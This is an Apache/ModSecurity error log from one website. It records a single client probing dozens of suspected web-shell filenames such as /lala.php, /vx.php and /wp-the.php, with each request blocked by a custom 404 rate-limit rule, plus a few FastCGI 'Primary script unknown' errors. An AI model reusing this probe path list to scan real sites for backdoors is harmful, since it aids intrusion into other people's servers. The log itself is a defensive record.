[Tue May 26 22:36:34.521616 2026] [:error] [pid 36497:tid 36526] [client 20.63.34.22:13653] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "ahWv8rjKQWM1gBmBY4hJrwAAANA"]
[Tue May 26 22:36:34.951676 2026] [:error] [pid 33886:tid 33898] [client 20.63.34.22:13643] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "ahWv8rBYzgp5rPVdHcXAIAAAAEc"]
[Tue May 26 22:36:35.389127 2026] [:error] [pid 33887:tid 33932] [client 20.63.34.22:14325] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "ahWv89COI_FV7meOxGdZWQAAAI0"]
[Tue May 26 22:36:35.840685 2026] [:error] [pid 33887:tid 33927] [client 20.63.34.22:14280] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "ahWv89COI_FV7meOxGdZWwAAAIg"]
[Tue May 26 22:36:36.288686 2026] [:error] [pid 43701:tid 43717] [client 20.63.34.22:14268] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "ahWv9IWtVI_UGrhtwKAfnwAAAU4"]
[Tue May 26 22:36:36.704978 2026] [:error] [pid 33977:tid 33997] [client 20.63.34.22:13671] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "ahWv9O9cnSDNAU9sYPgbgAAAABE"]
[Tue May 26 22:36:37.189135 2026] [:error] [pid 33977:tid 34001] [client 20.63.34.22:14304] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "ahWv9e9cnSDNAU9sYPgbgQAAABU"]
[Tue May 26 22:36:37.611364 2026] [:error] [pid 43701:tid 43720] [client 20.63.34.22:13736] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fun.php"] [unique_id "ahWv9YWtVI_UGrhtwKAfowAAAVE"]
[Tue May 26 22:36:38.046373 2026] [:error] [pid 36497:tid 36510] [client 20.63.34.22:13690] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fun.php"] [unique_id "ahWv9rjKQWM1gBmBY4hJsQAAAMA"]
[Tue May 26 22:36:38.499443 2026] [:error] [pid 43701:tid 43724] [client 20.63.34.22:14289] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fun.php"] [unique_id "ahWv9oWtVI_UGrhtwKAfpwAAAVU"]
[Tue May 26 22:36:38.943212 2026] [:error] [pid 36497:tid 36530] [client 20.63.34.22:14293] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fun.php"] [unique_id "ahWv9rjKQWM1gBmBY4hJtQAAANQ"]
[Tue May 26 22:36:39.355898 2026] [:error] [pid 43701:tid 43717] [client 20.63.34.22:13888] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ahWv94WtVI_UGrhtwKAfrQAAAU4"]
[Tue May 26 22:36:39.820382 2026] [:error] [pid 36497:tid 36514] [client 20.63.34.22:13670] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ahWv97jKQWM1gBmBY4hJtgAAAMQ"]
[Tue May 26 22:36:40.302353 2026] [:error] [pid 43701:tid 43724] [client 20.63.34.22:14214] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ahWv-IWtVI_UGrhtwKAfswAAAVU"]
[Tue May 26 22:36:40.784944 2026] [:error] [pid 36497:tid 36532] [client 20.63.34.22:13642] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ahWv-LjKQWM1gBmBY4hJuAAAANY"]
[Tue May 26 22:36:41.287452 2026] [:error] [pid 43701:tid 43709] [client 20.63.34.22:14316] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "ahWv-YWtVI_UGrhtwKAftwAAAUY"]
[Tue May 26 22:36:41.751406 2026] [:error] [pid 43701:tid 43710] [client 20.63.34.22:13663] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "ahWv-YWtVI_UGrhtwKAfugAAAUc"]
[Tue May 26 22:36:42.183135 2026] [:error] [pid 33886:tid 33914] [client 20.63.34.22:13680] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "ahWv-rBYzgp5rPVdHcXALAAAAFc"]
[Tue May 26 22:36:42.664054 2026] [:error] [pid 33887:tid 33923] [client 20.63.34.22:14288] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "ahWv-tCOI_FV7meOxGdZZQAAAIQ"]
[Tue May 26 22:36:43.111573 2026] [:error] [pid 43701:tid 43708] [client 20.63.34.22:14216] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "ahWv-4WtVI_UGrhtwKAfwQAAAUU"]
[Tue May 26 22:36:43.541554 2026] [:error] [pid 43701:tid 43715] [client 20.63.34.22:14307] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "ahWv-4WtVI_UGrhtwKAfwwAAAUw"]
[Tue May 26 22:36:43.995846 2026] [:error] [pid 43701:tid 43705] [client 20.63.34.22:13661] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "ahWv-4WtVI_UGrhtwKAfxQAAAUI"]
[Tue May 26 22:36:44.459383 2026] [:error] [pid 33977:tid 33999] [client 20.63.34.22:13684] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "ahWv_O9cnSDNAU9sYPgbhQAAABM"]
[Tue May 26 22:36:44.945635 2026] [:error] [pid 33977:tid 33985] [client 20.63.34.22:13673] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/explorer/index_.php"] [unique_id "ahWv_O9cnSDNAU9sYPgbhwAAAAU"]
[Tue May 26 22:36:45.584666 2026] [:error] [pid 43701:tid 43725] [client 20.63.34.22:13665] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/explorer/index_.php"] [unique_id "ahWv_YWtVI_UGrhtwKAfywAAAVY"]
[Tue May 26 22:36:46.029573 2026] [:error] [pid 43701:tid 43706] [client 20.63.34.22:14286] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/explorer/index_.php"] [unique_id "ahWv_oWtVI_UGrhtwKAfzwAAAUM"]
[Tue May 26 22:36:46.530911 2026] [:error] [pid 33887:tid 33926] [client 20.63.34.22:14273] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/explorer/index_.php"] [unique_id "ahWv_tCOI_FV7meOxGdZZwAAAIc"]
[Tue May 26 22:36:46.976915 2026] [:error] [pid 33888:tid 33961] [client 20.63.34.22:14324] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "ahWv_jqzTeoxiinZsGEvxgAAAQ8"]
[Tue May 26 22:36:47.400432 2026] [:error] [pid 43701:tid 43710] [client 20.63.34.22:14223] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "ahWv_4WtVI_UGrhtwKAf0gAAAUc"]
[Tue May 26 22:36:47.837143 2026] [:error] [pid 33887:tid 33922] [client 20.63.34.22:14299] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "ahWv_9COI_FV7meOxGdZagAAAIM"]
[Tue May 26 22:36:48.315317 2026] [:error] [pid 33887:tid 33933] [client 20.63.34.22:14283] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "ahWwANCOI_FV7meOxGdZbAAAAI4"]
[Tue May 26 22:36:48.850219 2026] [:error] [pid 33887:tid 33940] [client 20.63.34.22:13755] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/333.php"] [unique_id "ahWwANCOI_FV7meOxGdZbgAAAJU"]
[Tue May 26 22:36:49.345889 2026] [:error] [pid 33887:tid 33919] [client 20.63.34.22:14231] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/333.php"] [unique_id "ahWwAdCOI_FV7meOxGdZcAAAAIA"]
[Tue May 26 22:36:49.764004 2026] [:error] [pid 33886:tid 33908] [client 20.63.34.22:13639] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/333.php"] [unique_id "ahWwAbBYzgp5rPVdHcXANQAAAFE"]
[Tue May 26 22:36:50.228545 2026] [:error] [pid 33977:tid 33990] [client 20.63.34.22:14278] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/333.php"] [unique_id "ahWwAu9cnSDNAU9sYPgbigAAAAo"]
[Tue May 26 22:36:50.681565 2026] [:error] [pid 36497:tid 36512] [client 20.63.34.22:14306] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "ahWwArjKQWM1gBmBY4hJwQAAAMI"]
[Tue May 26 22:36:51.181438 2026] [:error] [pid 33886:tid 33911] [client 20.63.34.22:13685] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "ahWwA7BYzgp5rPVdHcXAOgAAAFQ"]
[Tue May 26 22:36:51.666720 2026] [:error] [pid 36497:tid 36531] [client 20.63.34.22:13683] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "ahWwA7jKQWM1gBmBY4hJxAAAANU"]
[Tue May 26 22:36:52.147695 2026] [:error] [pid 33887:tid 33937] [client 20.63.34.22:14335] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "ahWwBNCOI_FV7meOxGdZdgAAAJI"]
[Tue May 26 22:36:52.591021 2026] [:error] [pid 36497:tid 36519] [client 20.63.34.22:13648] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app.php"] [unique_id "ahWwBLjKQWM1gBmBY4hJyQAAAMk"]
[Tue May 26 22:36:53.023629 2026] [proxy_fcgi:error] [pid 36497:tid 36524] [client 20.63.34.22:14225] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:36:53.232609 2026] [proxy_fcgi:error] [pid 36497:tid 36511] [client 20.63.34.22:14225] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:36:53.441439 2026] [proxy_fcgi:error] [pid 36497:tid 36517] [client 20.63.34.22:14225] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:36:53.771034 2026] [proxy_fcgi:error] [pid 36497:tid 36530] [client 20.63.34.22:14225] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:36:53.984762 2026] [proxy_fcgi:error] [pid 36497:tid 36532] [client 20.63.34.22:14225] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:36:54.212740 2026] [proxy_fcgi:error] [pid 36497:tid 36528] [client 20.63.34.22:14225] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:36:54.423883 2026] [proxy_fcgi:error] [pid 36497:tid 36514] [client 20.63.34.22:14225] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:36:54.647343 2026] [proxy_fcgi:error] [pid 36497:tid 36531] [client 20.63.34.22:14225] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:36:54.885739 2026] [proxy_fcgi:error] [pid 36497:tid 36527] [client 20.63.34.22:14225] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:36:55.135872 2026] [proxy_fcgi:error] [pid 36497:tid 36526] [client 20.63.34.22:14225] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:36:55.345970 2026] [proxy_fcgi:error] [pid 36497:tid 36529] [client 20.63.34.22:14225] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:36:55.552094 2026] [:error] [pid 36497:tid 36521] [client 20.63.34.22:14225] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "ahWwB7jKQWM1gBmBY4hJ2wAAAMs"]
[Tue May 26 22:36:55.989169 2026] [:error] [pid 43701:tid 43723] [client 20.63.34.22:14296] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "ahWwB4WtVI_UGrhtwKAf6AAAAVQ"]
[Tue May 26 22:36:56.427513 2026] [:error] [pid 36497:tid 36519] [client 20.63.34.22:13938] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "ahWwCLjKQWM1gBmBY4hJ3gAAAMk"]
[Tue May 26 22:36:56.867974 2026] [:error] [pid 33887:tid 33929] [client 20.63.34.22:13657] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "ahWwCNCOI_FV7meOxGdZdwAAAIo"]
[Tue May 26 22:36:57.330205 2026] [:error] [pid 33887:tid 33924] [client 20.63.34.22:14210] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yas.php"] [unique_id "ahWwCdCOI_FV7meOxGdZeAAAAIU"]
[Tue May 26 22:36:57.754361 2026] [:error] [pid 43701:tid 43710] [client 20.63.34.22:13693] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yas.php"] [unique_id "ahWwCYWtVI_UGrhtwKAf7gAAAUc"]
[Tue May 26 22:36:58.188652 2026] [:error] [pid 33887:tid 33928] [client 20.63.34.22:14313] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yas.php"] [unique_id "ahWwCtCOI_FV7meOxGdZfAAAAIk"]
[Tue May 26 22:36:58.631902 2026] [:error] [pid 33886:tid 33899] [client 20.63.34.22:13687] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yas.php"] [unique_id "ahWwCrBYzgp5rPVdHcXARgAAAEg"]
[Tue May 26 22:36:59.180974 2026] [:error] [pid 33887:tid 33921] [client 20.63.34.22:13921] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "ahWwC9COI_FV7meOxGdZggAAAII"]
[Tue May 26 22:36:59.816410 2026] [:error] [pid 43701:tid 43722] [client 20.63.34.22:14315] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "ahWwC4WtVI_UGrhtwKAf8gAAAVM"]
[Tue May 26 22:37:00.703170 2026] [:error] [pid 43701:tid 43727] [client 20.63.34.22:13666] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "ahWwDIWtVI_UGrhtwKAf9gAAAVg"]
[Tue May 26 22:37:01.200735 2026] [:error] [pid 43701:tid 43725] [client 20.63.34.22:14237] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "ahWwDYWtVI_UGrhtwKAf-QAAAVY"]
[Tue May 26 22:37:01.733045 2026] [:error] [pid 36497:tid 36533] [client 20.63.34.22:14218] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/png.php"] [unique_id "ahWwDbjKQWM1gBmBY4hJ4gAAANc"]
